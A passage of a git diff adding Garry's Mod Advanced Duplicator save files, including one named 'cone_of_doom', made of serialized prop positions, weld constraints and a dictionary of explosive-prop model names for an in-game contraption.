8;T:02380598;}02344700{Y:24=T:023439B8;Y:26=Y:25;Y:27=N:0;}02301928{T:023F71C0;T:02361918;}0231EEB0{Y:24=T:02302E40;Y:26=Y:25;Y:27=N:0;}0236FD38{Y:22=N:73;Y:23=N:0;}02358FE8{Y:22=N:76;Y:23=N:0;}02342180{T:0230FC08;T:02305050;}0232EEF0{Y:22=N:65;Y:23=N:0;}H02308430{T:02322358;T:02361738;T:023A6E00;T:023490C0;T:023729C0;T:023405D8;T:02337050;T:023285C8;T:022FF8F8;T:0235AF00;T:0231A608;T:0231F338;T:023865D8;T:0231AE28;T:0236A090;T:0236EF78;T:0233CAA0;T:0232F850;T:0231EC08;T:0231F590;T:02389288;T:023C94C8;T:02350938;T:02319780;T:024FD768;T:02344700;T:023193C0;T:02309A60;T:02326980;T:02338B08;T:0231EEB0;T:022FBFF0;T:0231ED70;T:0231BF08;T:023A8D18;T:0237D258;T:023325A0;T:02370670;T:0239EE30;T:0231A1F8;T:02308CF0;T:022FA420;T:02340B78;T:02361DF0;T:023330E0;T:023E91B0;T:02362408;T:02319F28;T:024E9290;T:023B3BC8;T:02319F78;T:0233F9F8;T:022F7068;T:02319190;T:022F9ED0;T:02344458;T:02318560;T:023268E0;T:023177A0;T:02338248;T:0231B1E8;T:02300988;T:02318290;T:02333A90;T:0236EFA0;T:02311CD8;T:02330868;T:0231A1D0;T:0232FFF8;}02311CD8{Y:24=T:022FA358;Y:26=Y:25;Y:27=N:0;}023490C0{Y:24=T:023283E8;Y:26=Y:25;Y:27=N:0;}02349610{Y:22=N:83;Y:23=N:0;}024607D8{Y:22=N:107;Y:23=N:0;}0231A158{Y:22=N:209;Y:23=N:0;}0231C4F8{Y:22=N:79;Y:23=N:0;}02319190{Y:24=T:023C1DB8;Y:26=Y:25;Y:27=N:0;}023DB6A0{T:0238AED0;T:0231C4F8;}023A14A0{T:02309CE0;T:02358FE8;}023C9A40{Y:22=N:222;Y:23=N:0;}023CF878{Y:22=N:211;Y:23=N:0;}022FCEC8{Y:22=N:216;Y:23=N:0;}02305FA0{Y:22=N:80;Y:23=N:0;}022F83A0{Y:22=N:65;Y:23=N:0;}023DCBB8{T:022F83A0;T:02305FA0;}0236EFA0{Y:24=T:023DCBB8;Y:26=Y:25;Y:27=N:0;}023560B8{Y:22=N:95;Y:23=N:0;}023729C0{Y:24=T:0233DAE0;Y:26=Y:25;Y:27=N:0;}0235B6D0{Y:22=N:76;Y:23=N:0;}023426F8{T:02341B68;T:0236ECF8;}02333A90{Y:24=T:023426F8;Y:26=Y:25;Y:27=N:0;}023A1C98{Y:22=N:104;Y:23=N:0;}02355B18{Y:22=N:107;Y:23=N:0;}0231F720{Y:22=N:219;Y:23=N:0;}02402B38{Y:22=N:219;Y:23=N:0;}0231B1E8{Y:24=T:0231AA68;Y:26=Y:25;Y:27=N:0;}023D4378{T:0235A550;T:0231BCB0;}023ABE78{Y:22=N:167;Y:23=N:0;}02308098{T:0235A370;T:02501598;}022F9840{Y:22=N:169;Y:23=N:0;}0232F850{Y:24=T:023B22F0;Y:26=Y:25;Y:27=N:0;}022FDC88{T:02449F10;T:02342928;}0231ADB0{Y:22=N:171;Y:23=N:0;}0231A9F0{Y:22=N:221;Y:23=N:0;}02355938{T:023210C0;T:02398210;}023210C0{Y:22=N:170;Y:23=N:0;}0231ED70{Y:24=T:023BC110;Y:26=Y:25;Y:27=N:0;}023B3BC8{Y:24=T:02341CD0;Y:26=Y:25;Y:27=N:0;}023DA9D0{Y:22=N:74;Y:23=N:0;}02332FF0{T:0231F450;T:0231F720;}0237D258{Y:24=T:02342180;Y:26=Y:25;Y:27=N:0;}023860B0{Y:22=N:168;Y:23=N:0;}023C94C8{Y:24=T:02301928;Y:26=Y:25;Y:27=N:0;}02315D88{Y:22=N:83;Y:23=N:0;}02322AB0{Y:22=N:213;Y:23=N:0;}023268E0{Y:24=T:023A7BC0;Y:26=Y:25;Y:27=N:0;}02318560{Y:24=T:023C7100;Y:26=Y:25;Y:27=N:0;}02338248{Y:24=T:023DC028;Y:26=Y:25;Y:27=N:0;}0231A540{T:02319CA8;T:02319F00;}02310E50{Y:22=N:220;Y:23=N:0;}02319F28{Y:24=T:0231A400;Y:26=Y:25;Y:27=N:0;}02377100{Y:22=N:84;Y:23=N:0;}0234C798{Y:22=N:100;Y:23=N:0;}0230E8D0{Y:22=N:103;Y:23=N:0;}0231AA68{T:0231A9F0;T:0231A9C8;}022FB078{Y:22=N:194;Y:23=N:0;}023649D8{Y:22=N:98;Y:23=N:0;}024F7890{Y:22=N:170;Y:23=N:0;}0231AE00{T:0231ADB0;T:0231AD60;}02397360{Y:22=N:73;Y:23=N:0;}022F9ED0{Y:24=T:02343D50;Y:26=Y:25;Y:27=N:0;}02318290{Y:24=T:023D4378;Y:26=Y:25;Y:27=N:0;}0231A608{Y:24=T:0231A5E0;Y:26=Y:25;Y:27=N:0;}0232AE40{Y:22=N:81;Y:23=N:0;}022FA420{Y:24=T:02339760;Y:26=Y:25;Y:27=N:0;}022FC950{Y:22=N:164;Y:23=N:0;}02387C08{Y:22=N:80;Y:23=N:0;}022754A0{T:0230D660;T:02326958;}02336F88{T:02397360;T:02322218;}02325120{Y:22=N:81;Y:23=N:0;}0233DEC8{T:023D7CA8;T:024F7890;}024E9290{Y:24=T:022FDC88;Y:26=Y:25;Y:27=N:0;}023E9390{T:0231F360;T:0236CA20;}0231E758{Y:22=N:213;Y:23=N:0;}0234A998{Y:22=N:218;Y:23=N:0;}0231F798{Y:22=N:83;Y:23=N:0;}023BC110{T:0231EC58;T:0231EC30;}02389288{Y:24=T:022FB190;Y:26=Y:25;Y:27=N:0;}023A2BE8{T:023AD818;T:0227BB70;}02338158{T:02377128;T:02313B78;}023AD818{Y:22=N:101;Y:23=N:0;}02319320{Y:22=N:216;Y:23=N:0;}023A2670{T:0230A1B8;T:022FC388;}0231EC08{Y:24=T:0231EBB8;Y:26=Y:25;Y:27=N:0;}023E91B0{Y:24=T:023E9390;Y:26=Y:25;Y:27=N:0;} +[Dict] +1:"LocalAngle" +2:"LocalPos" +3:"Skin" +4:"Frozen" +5:"PhysicsObjects" +6:"prop_physics" +7:"Class" +8:"models/props_junk/propane_tank001a.mdl" +9:"Model" +10:"models/props_explosive/explosive_butane_can.mdl" +11:"models/props_phx/amraam.mdl" +12:"CollisionGroupMod" +13:"EntityMods" +14:"models/props_junk/gascan001a.mdl" +15:"models/props_phx/oildrum001_explosive.mdl" +16:"models/props_phx/ww2bomb.mdl" +17:"models/props_explosive/explosive_butane_can02.mdl" +18:"models/props_phx/mk-82.mdl" +19:"models/props_phx/misc/flakshell_big.mdl" +20:"models/props_c17/oildrum001_explosive.mdl" +21:"models/props_phx/torpedo.mdl" +22:"Index" +23:"Bone" +24:"Entity" +25:"Weld" +26:"Type" +27:"forcelimit" +Saved:1056 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/cone_of_doom.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/cone_of_doom.txt new file mode 100644 index 0000000..17c80b9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/cone_of_doom.txt @@ -0,0 +1,52 @@ +[Info] +Type:AdvDupe File +Creator:"McMuffin" +Date:05/30/10 +Description:"none" +Entities:44 +Constraints:43 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.85 +AdvDupeToolVersion:1.9 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:1910 (exported) +Time:03:51 PM +Head:151 +HoldAngle:0,-178.273,0 +HoldPos:-14.769,11.2141,-0.283081 +StartPos:-911.726,1586.73,-143.699 +[Save] +Entities:406ADB08{Y:8=T:406ADB38;Y:9=N:0;Y:10=N:0;}4024EAC8{Y:1=A:61.6806,-100.43,307.64;Y:2=V:-2.40717,-78.9146,4107.58;Y:3=B:f;}34E87AF8{N:0=T:34E87B58;}3FFC7518{Y:1=A:61.6806,-159.558,307.64;Y:2=V:-33.6683,-51.9126,4107.58;Y:3=B:f;}34C24A10{Y:1=A:61.6806,91.1801,307.64;Y:2=V:2.35748,10.3322,4107.58;Y:3=B:f;}350DF290{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FE9EF88{Y:8=T:3FE9EFB8;Y:9=N:0;Y:10=N:0;}34E580A8{Y:7=N:20;Y:11=T:34E58130;}34E87B58{Y:1=A:61.6806,123.195,307.64;Y:2=V:-18.3013,4.60999,4107.58;Y:3=B:f;}40BDE2B8{Y:4=T:40BDE958;Y:1=A:61.6806,76.8528,-52.3604;Y:2=V:21.8566,9.6073,4107.58;Y:6=Y:5;Y:12=T:40BDE3C8;Y:14=Y:13;Y:15=N:0;}40BDE958{N:0=T:40BDE9B8;}348E9F18{Y:1=A:-0.0686463,66.1344,0.0399881;Y:2=V:8.4986,-35.2239,4092.98;Y:3=B:f;}33CD94A8{Y:8=T:33CD94D8;Y:9=N:0;Y:10=N:0;}34AF5EA8{Y:8=T:34AF5ED8;Y:9=N:0;Y:10=N:0;}33F65F70{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}350DF938{Y:1=A:61.6806,-125.017,307.64;Y:2=V:-15.4036,-72.6674,4108.54;Y:3=B:f;}34592D60{Y:7=N:20;Y:11=T:34592DE8;}34F02910{Y:1=A:61.6806,-92.6472,307.64;Y:2=V:3.97314,-79.6606,4107.58;Y:3=B:f;}34DDFAE0{Y:1=A:61.6806,172.191,307.64;Y:2=V:-39.3378,-21.7284,4107.58;Y:3=B:f;}34C4B8E0{Y:1=A:61.6806,-55.8562,307.64;Y:2=V:31.3167,-73.3831,4107.58;Y:3=B:f;}4024E568{Y:8=T:4024E598;Y:9=N:0;Y:10=N:0;}350DF260{Y:8=T:350DF290;Y:9=N:0;Y:10=N:0;}349748D8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}33B35248{Y:7=N:20;Y:11=T:33B352A8;}350AC410{Y:1=A:61.6806,-89.8172,307.64;Y:2=V:10.6813,-79.9164,4108.59;Y:3=B:f;}3F7451B8{Y:7=N:20;Y:11=T:34D98C38;}400E1AB0{Y:8=T:400E1AE0;Y:9=N:0;Y:10=N:0;}350DF1D8{Y:7=N:20;Y:11=T:350DF260;}3495DA50{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34A98528{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34E87A10{Y:8=T:34E87A40;Y:9=N:0;Y:10=N:0;}4024E3D0{Y:4=T:4024E650;Y:1=A:61.6806,-100.43,-52.3604;Y:2=V:-2.40717,-78.9146,4107.58;Y:6=Y:5;Y:12=T:4024E4E0;Y:14=Y:13;Y:15=N:0;}34A98558{N:0=T:33C37C78;}2EA6BA20{Y:20=T:319EFDD8;}3FE60B48{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}348E9F48{N:0=T:348E9F18;}3FE60C60{Y:1=A:61.6806,-51.6112,307.64;Y:2=V:36.8714,-69.7489,4107.58;Y:3=B:f;}34E58160{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}33D91188{Y:7=N:20;Y:11=T:33D91210;}40643670{N:0=T:406436D0;}34AD8350{Y:7=N:20;Y:11=T:34AD83D8;}33A70840{Y:1=A:61.6806,-139.167,307.64;Y:2=V:-25.2766,-64.3691,4109.04;Y:3=B:f;}34974820{Y:7=N:20;Y:11=T:349748A8;}34D98C68{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3F7450A8{Y:4=T:34D98D20;Y:1=A:61.6806,55.4508,-52.3604;Y:2=V:32.6721,4.76331,4107.58;Y:6=Y:5;Y:12=T:3F7451B8;Y:14=Y:13;Y:15=N:0;}34592E18{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}40D8B548{Y:7=N:20;Y:11=T:40D8B5D0;}40D8B600{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34A98360{Y:4=T:34A98558;Y:1=A:61.6806,-112.508,-52.3604;Y:2=V:-9.44739,-76.7848,4108.45;Y:6=Y:5;Y:12=T:34A98470;Y:14=Y:13;Y:15=N:0;}1C3A4E28{Y:7=N:20;Y:11=T:1C3A4EB0;}3495D910{Y:4=T:3495DB08;Y:1=A:61.6806,91.1801,-52.3604;Y:2=V:2.35748,10.3322,4107.58;Y:6=Y:5;Y:12=T:3495D998;Y:14=Y:13;Y:15=N:0;}34AC8320{Y:4=T:34AC8518;Y:1=A:61.6806,-24.2442,-52.3604;Y:2=V:47.7688,-51.5404,4107.58;Y:6=Y:5;Y:12=T:34AC8430;Y:14=Y:13;Y:15=N:0;}34AC8430{Y:7=N:20;Y:11=T:34AC84B8;}3FF1F350{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34AD83D8{Y:8=T:34AD8408;Y:9=N:0;Y:10=N:0;}3FE60B18{Y:8=T:3FE60B48;Y:9=N:0;Y:10=N:0;}4013DBE0{Y:8=T:4013DC10;Y:9=N:0;Y:10=N:0;}34E1F790{Y:4=T:34E1ECB0;Y:1=A:61.6806,22.5008,-52.3604;Y:2=V:52.076,-18.042,4107.58;Y:6=Y:5;Y:12=T:34E1F818;Y:14=Y:13;Y:15=N:0;}40158DD0{N:0=T:40158E30;}34E1ED10{Y:1=A:61.6806,22.5008,307.64;Y:2=V:52.076,-18.042,4107.58;Y:3=B:f;}34DE9688{Y:8=T:34DE96B8;Y:9=N:0;Y:10=N:0;}34E58688{Y:1=A:61.6806,82.9552,307.64;Y:2=V:14.7815,9.02087,4107.58;Y:3=B:f;}33F66028{N:0=T:4138C840;}33D91270{N:0=T:33D91778;}34F023A8{Y:8=T:34F023D8;Y:9=N:0;Y:10=N:0;}4013DCC8{Y:1=A:61.6806,-174.189,307.64;Y:2=V:-37.5379,-37.5073,4107.58;Y:3=B:f;}40158CE8{Y:8=T:40158D18;Y:9=N:0;Y:10=N:0;}34AF5FF0{Y:1=A:61.6806,176.613,307.64;Y:2=V:-36.9575,-28.9463,4107.58;Y:3=B:f;}34C4B880{N:0=T:34C4B8E0;}33B352D8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FD880E8{Y:1=A:61.6806,63.1838,307.64;Y:2=V:28.0593,8.50732,4107.58;Y:3=B:f;}3FECB3B0{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}400E1AE0{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34AC84E8{S:"a"=N:255;S:"r"=N:255;S:"g"=N:255;S:"b"=N:255;}40D8B438{Y:4=T:40D8B6B8;Y:1=A:61.6806,-68.4642,-52.3604;Y:2=V:25.0247,-76.7919,4109.53;Y:6=Y:5;Y:12=T:40D8B548;Y:14=Y:13;Y:15=N:0;}34C4B7C8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}400E9910{Y:4=T:400E9B08;Y:1=A:61.6806,47.4908,-52.3604;Y:2=V:40.9726,-2.60291,4107.58;Y:6=Y:5;Y:12=T:400E9998;Y:14=Y:13;Y:15=N:0;}34974990{N:0=T:3FFA62D8;}34D98D80{Y:1=A:61.6806,55.4508,307.64;Y:2=V:32.6721,4.76331,4107.58;Y:3=B:f;}40E9E580{N:0=T:40E9EA88;}400E9A50{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}353B1F30{Y:4=T:353B25D0;Y:1=A:61.6806,49.4368,-52.3604;Y:2=V:37.1652,1.3363,4107.58;Y:6=Y:5;Y:12=T:353B2040;Y:14=Y:13;Y:15=N:0;}400E1B10{N:0=T:400E2020;}34AD82C8{Y:4=T:34AD84C0;Y:1=A:61.6806,37.4088,-52.3604;Y:2=V:44.9554,-6.89185,4107.58;Y:6=Y:5;Y:12=T:34AD8350;Y:14=Y:13;Y:15=N:0;}34E87988{Y:7=N:20;Y:11=T:34E87A10;}3FECB1E8{Y:4=T:3FECB3E0;Y:1=A:61.6806,33.6938,-52.3604;Y:2=V:47.0172,-10.3037,4107.58;Y:6=Y:5;Y:12=T:3FECB2F8;Y:14=Y:13;Y:15=N:0;}400E9B68{Y:1=A:61.6806,47.4908,307.64;Y:2=V:40.9726,-2.60291,4107.58;Y:3=B:f;}3493E728{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}400E1918{Y:4=T:400E1B10;Y:1=A:61.6806,86.8465,-52.3604;Y:2=V:7.5899,9.84485,4108.47;Y:6=Y:5;Y:12=T:400E1A28;Y:14=Y:13;Y:15=N:0;}3FFD3658{Y:1=A:61.6806,113.064,307.64;Y:2=V:-9.6438,10.0079,4107.58;Y:3=B:f;}33D91240{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}33CD9420{Y:7=N:20;Y:11=T:33CD94A8;}349748A8{Y:8=T:349748D8;Y:9=N:0;Y:10=N:0;}33D91078{Y:4=T:33D91270;Y:1=A:61.6806,-2.9692,-52.3604;Y:2=V:54.3054,-32.4247,4107.58;Y:6=Y:5;Y:12=T:33D91188;Y:14=Y:13;Y:15=N:0;}3FE60A90{Y:7=N:20;Y:11=T:3FE60B18;}35493458{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}1C3A4FF8{Y:1=A:61.6806,-34.6312,307.64;Y:2=V:46.1703,-59.0563,4108.25;Y:3=B:f;}40BDE450{Y:8=T:40BDE480;Y:9=N:0;Y:10=N:0;}3495D998{Y:7=N:20;Y:11=T:3495DA20;}3FECB2F8{Y:7=N:20;Y:11=T:3FECB380;}3495DA20{Y:8=T:3495DA50;Y:9=N:0;Y:10=N:0;}34A984F8{Y:8=T:34A98528;Y:9=N:0;Y:10=N:0;}4060F008{Y:1=A:61.6806,9.23479,307.64;Y:2=V:53.3923,-24.7657,4107.58;Y:3=B:f;}34E58218{N:0=T:34E58688;}3FE60C00{N:0=T:3FE60C60;}34E1ECB0{N:0=T:34E1ED10;}418D4628{Y:1=A:61.6806,-39.2302,307.64;Y:2=V:42.3037,-64.1155,4108.8;Y:3=B:f;}3FE9EF00{Y:7=N:20;Y:11=T:3FE9EF88;}35493428{Y:8=T:35493458;Y:9=N:0;Y:10=N:0;}40BDE9B8{Y:1=A:61.6806,76.8528,307.64;Y:2=V:21.8566,9.6073,4107.58;Y:3=B:f;}1C3A4EB0{Y:8=T:1C3A4EE0;Y:9=N:0;Y:10=N:0;}40E9EA88{Y:1=A:61.6806,-162.338,307.64;Y:2=V:-36.0274,-44.7428,4107.58;Y:3=B:f;}34AF5ED8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}40ECA900{N:0=T:40ECA930;}400E9B08{N:0=T:400E9B68;}H34D5BD00{N:179=T:34F02210;N:180=T:4113AC30;N:181=T:40E9E388;N:151=T:40ECA990;N:183=T:32137CA0;N:152=T:3FECB1E8;N:184=T:34C4B688;N:153=T:400E1918;N:185=T:3495D910;N:154=T:350DF150;N:186=T:34E57F98;N:155=T:3FE9EDF0;N:187=T:34E1F790;N:156=T:34AC8320;N:188=T:33CD9310;N:157=T:34AD82C8;N:189=T:33B35E90;N:158=T:34DE94F0;N:190=T:34592C50;N:159=T:34E87878;N:191=T:34974710;N:160=T:3F7450A8;N:192=T:3FFD3400;N:161=T:34AF69E0;N:193=T:3475F3A0;N:162=T:40D8B438;N:194=T:406AD9F8;N:163=T:1C3A4DA0;N:195=T:3FE61650;N:164=T:33F65DA8;N:165=T:34A98360;N:166=T:353B1F30;N:167=T:35493318;N:168=T:4024E3D0;N:169=T:3FD879E8;N:170=T:34DDF3E0;N:171=T:3FF1F188;N:172=T:40158B50;N:173=T:33D91078;N:174=T:40BDE2B8;N:175=T:3493E560;N:176=T:3FFC6E20;N:177=T:400E9910;N:178=T:3FDE8F50;}4138C840{Y:1=A:61.6806,28.9188,307.64;Y:2=V:49.7395,-13.6024,4107.58;Y:3=B:f;}40158C60{Y:7=N:20;Y:11=T:40158CE8;}353B2630{Y:1=A:61.6806,49.4368,307.64;Y:2=V:37.1652,1.3363,4107.58;Y:3=B:f;}34F02408{N:0=T:34F02910;}353B25D0{N:0=T:353B2630;}3FE9EDF0{Y:4=T:3FE9EFE8;Y:1=A:61.6806,-7.92221,-52.3604;Y:2=V:52.506,-42.6747,4108.16;Y:6=Y:5;Y:12=T:3FE9EF00;Y:14=Y:13;Y:15=N:0;}353B20C8{Y:8=T:353B20F8;Y:9=N:0;Y:10=N:0;}3FFD35F8{N:0=T:3FFD3658;}34AD8940{Y:1=A:61.6806,37.4088,307.64;Y:2=V:44.9554,-6.89185,4107.58;Y:3=B:f;}40158D18{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}1C3A4EE0{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34AC8518{N:0=T:35073488;}34D98D20{N:0=T:34D98D80;}40ECA990{Y:6=Y:16;Y:1=A:0,227.298,0;Y:2=V:-18.2572,-3.24854,0.283081;Y:15=N:0;Y:4=T:40ECA900;Y:14=Y:17;Y:12=T:2EA6BA20;}34DDF3E0{Y:4=T:34DDF5D8;Y:1=A:61.6806,172.191,-52.3604;Y:2=V:-39.3378,-21.7284,4107.58;Y:6=Y:5;Y:12=T:34DDF4F0;Y:14=Y:13;Y:15=N:0;}40E9E498{Y:7=N:20;Y:11=T:40E9E520;}4113ADF8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FF1F380{N:0=T:418D4628;}33B353F0{Y:1=A:61.6806,148.843,307.64;Y:2=V:-33.6848,-10.5995,4107.58;Y:3=B:f;}40158B50{Y:4=T:40158DD0;Y:1=A:61.6806,140.53,-52.3604;Y:2=V:-28.7471,-4.68677,4107.58;Y:6=Y:5;Y:12=T:40158C60;Y:14=Y:13;Y:15=N:0;}4024E598{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}33C37C78{Y:1=A:61.6806,-112.508,307.64;Y:2=V:-9.44739,-76.7848,4108.45;Y:3=B:f;}1C3A4DA0{Y:4=T:1C3A4F98;Y:1=A:61.6806,-34.6312,-52.3604;Y:2=V:46.1703,-59.0563,4108.25;Y:6=Y:5;Y:12=T:1C3A4E28;Y:14=Y:13;Y:15=N:0;}3FFD3540{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3493E7E0{N:0=T:3493EC58;}345656B0{Y:7=N:20;Y:20=T:330FF7D8;}406AD9F8{Y:4=T:406ADBF0;Y:1=A:61.6806,-89.8172,-52.3604;Y:2=V:10.6813,-79.9164,4108.59;Y:6=Y:5;Y:12=T:406ADA80;Y:14=Y:13;Y:15=N:0;}353B2040{Y:7=N:20;Y:11=T:353B20C8;}34E57F98{Y:4=T:34E58218;Y:1=A:61.6806,82.9552,-52.3604;Y:2=V:14.7815,9.02087,4107.58;Y:6=Y:5;Y:12=T:34E580A8;Y:14=Y:13;Y:15=N:0;}3475F3A0{Y:4=T:4013DC40;Y:1=A:61.6806,-174.189,-52.3604;Y:2=V:-37.5379,-37.5073,4107.58;Y:6=Y:5;Y:12=T:4013DB58;Y:14=Y:13;Y:15=N:0;}33D6D9B8{Y:1=A:61.6806,101.439,307.64;Y:2=V:-3.88135,10.2166,4107.58;Y:3=B:f;}34DE96B8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}406ADB38{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FFD3510{Y:8=T:3FFD3540;Y:9=N:0;Y:10=N:0;}34E87A40{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34592ED0{N:0=T:33A70840;}3FFD3400{Y:4=T:3FFD35F8;Y:1=A:61.6806,113.064,-52.3604;Y:2=V:-9.6438,10.0079,4107.58;Y:6=Y:5;Y:12=T:3FFD3488;Y:14=Y:13;Y:15=N:0;}3493E560{Y:4=T:3493E7E0;Y:1=A:61.6806,-149.603,-52.3604;Y:2=V:-29.6605,-58.3163,4107.58;Y:6=Y:5;Y:12=T:3493E670;Y:14=Y:13;Y:15=N:0;}34A98470{Y:7=N:20;Y:11=T:34A984F8;}33B352A8{Y:8=T:33B352D8;Y:9=N:0;Y:10=N:0;}3FD87AF8{Y:7=N:20;Y:11=T:3FD87B80;}3FFA62D8{Y:1=A:61.6806,-78.4972,307.64;Y:2=V:18.1035,-78.527,4108.66;Y:3=B:f;}34592DE8{Y:8=T:34592E18;Y:9=N:0;Y:10=N:0;}33B35390{N:0=T:33B353F0;}406ADBF0{N:0=T:350AC410;}4113ADC8{Y:8=T:4113ADF8;Y:9=N:0;Y:10=N:0;}34E1F818{Y:7=N:20;Y:11=T:34E1EBC8;}3493E670{Y:7=N:20;Y:11=T:3493E6F8;}3FD88088{N:0=T:3FD880E8;}4013DC40{N:0=T:4013DCC8;}4113AC30{Y:4=T:40643670;Y:1=A:61.6806,-129.085,-52.3604;Y:2=V:-20.7607,-68.7667,4108.8;Y:6=Y:5;Y:12=T:4113AD40;Y:14=Y:13;Y:15=N:0;}35073488{Y:1=A:61.6806,-24.2442,307.64;Y:2=V:47.7688,-51.5404,4107.58;Y:3=B:f;}3FFC6E20{Y:4=T:3FFC70A0;Y:1=A:61.6806,-159.558,-52.3604;Y:2=V:-33.6683,-51.9126,4107.58;Y:6=Y:5;Y:12=T:3FFC6F30;Y:14=Y:13;Y:15=N:0;}330FF7D8{Y:19=Y:18;}350DF348{N:0=T:350DF938;}400E2020{Y:1=A:61.6806,86.8465,307.64;Y:2=V:7.5899,9.84485,4108.47;Y:3=B:f;}400E9998{Y:7=N:20;Y:11=T:400E9A20;}34AF5E20{Y:7=N:20;Y:11=T:34AF5EA8;}3FDE9090{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}34DDF5D8{N:0=T:34DDFAE0;}34F02320{Y:7=N:20;Y:11=T:34F023A8;}3FDE9060{Y:8=T:3FDE9090;Y:9=N:0;Y:10=N:0;}4024E650{N:0=T:4024EAC8;}3FDE8FD8{Y:7=N:20;Y:11=T:3FDE9060;}3FE9F4F0{Y:1=A:61.6806,-7.92221,307.64;Y:2=V:52.506,-42.6747,4108.16;Y:3=B:f;}4024E4E0{Y:7=N:20;Y:11=T:4024E568;}3FDE8F50{Y:4=T:3FDE9148;Y:1=A:61.6806,157.638,-52.3604;Y:2=V:-38.5314,-14.65,4107.58;Y:6=Y:5;Y:12=T:3FDE8FD8;Y:14=Y:13;Y:15=N:0;}32137CA0{Y:6=Y:21;Y:1=A:-0.0686463,66.1344,0.0399923;Y:2=V:8.4986,-35.2239,4092.98;Y:15=N:0;Y:4=T:348E9F48;Y:14=Y:17;Y:12=T:345656B0;}40D8B718{Y:1=A:61.6806,-68.4642,307.64;Y:2=V:25.0247,-76.7919,4109.53;Y:3=B:f;}3FFC6FE8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FFC6FB8{Y:8=T:3FFC6FE8;Y:9=N:0;Y:10=N:0;}34E87878{Y:4=T:34E87AF8;Y:1=A:61.6806,123.195,-52.3604;Y:2=V:-18.3013,4.60999,4107.58;Y:6=Y:5;Y:12=T:34E87988;Y:14=Y:13;Y:15=N:0;}34AD8408{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}1C3A4F98{N:0=T:1C3A4FF8;}3FFC70A0{N:0=T:3FFC7518;}34592C50{Y:4=T:34592ED0;Y:1=A:61.6806,-139.167,-52.3604;Y:2=V:-25.2766,-64.3691,4109.04;Y:6=Y:5;Y:12=T:34592D60;Y:14=Y:13;Y:15=N:0;}406436D0{Y:1=A:61.6806,-129.085,307.64;Y:2=V:-20.7607,-68.7667,4108.8;Y:3=B:f;}3493E6F8{Y:8=T:3493E728;Y:9=N:0;Y:10=N:0;}34DE9600{Y:7=N:20;Y:11=T:34DE9688;}354933A0{Y:7=N:20;Y:11=T:35493428;}3FECB380{Y:8=T:3FECB3B0;Y:9=N:0;Y:10=N:0;}35493318{Y:4=T:35493510;Y:1=A:61.6806,101.439,-52.3604;Y:2=V:-3.88135,10.2166,4107.58;Y:6=Y:5;Y:12=T:354933A0;Y:14=Y:13;Y:15=N:0;}40E9E550{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}40BDE480{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3493EC58{Y:1=A:61.6806,-149.603,307.64;Y:2=V:-29.6605,-58.3163,4107.58;Y:3=B:f;}34DE9770{N:0=T:34DE9BE8;}3FE9EFE8{N:0=T:3FE9F4F0;}3FD87BB0{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}40BDE3C8{Y:7=N:20;Y:11=T:40BDE450;}3495DB08{N:0=T:34C24A10;}34AD84C0{N:0=T:34AD8940;}33D91210{Y:8=T:33D91240;Y:9=N:0;Y:10=N:0;}34DDF4F0{Y:7=N:20;Y:11=T:34DDF578;}3FE9EFB8{S:"a"=N:255;S:"b"=N:255;S:"g"=N:255;S:"r"=N:255;}3FE61650{Y:4=T:3FE60C00;Y:1=A:61.6806,-51.6112,-52.3604;Y:2=V:36.8714,-69.7489,4107.58;Y:6=Y:5;Y:12=T:3FE60A90;Y:14=Y:13;Y:15=N:0;}33D91778{Y:1=A:61.6806,-2.9692,307.64;Y:2=V:54.3054,-32.4247,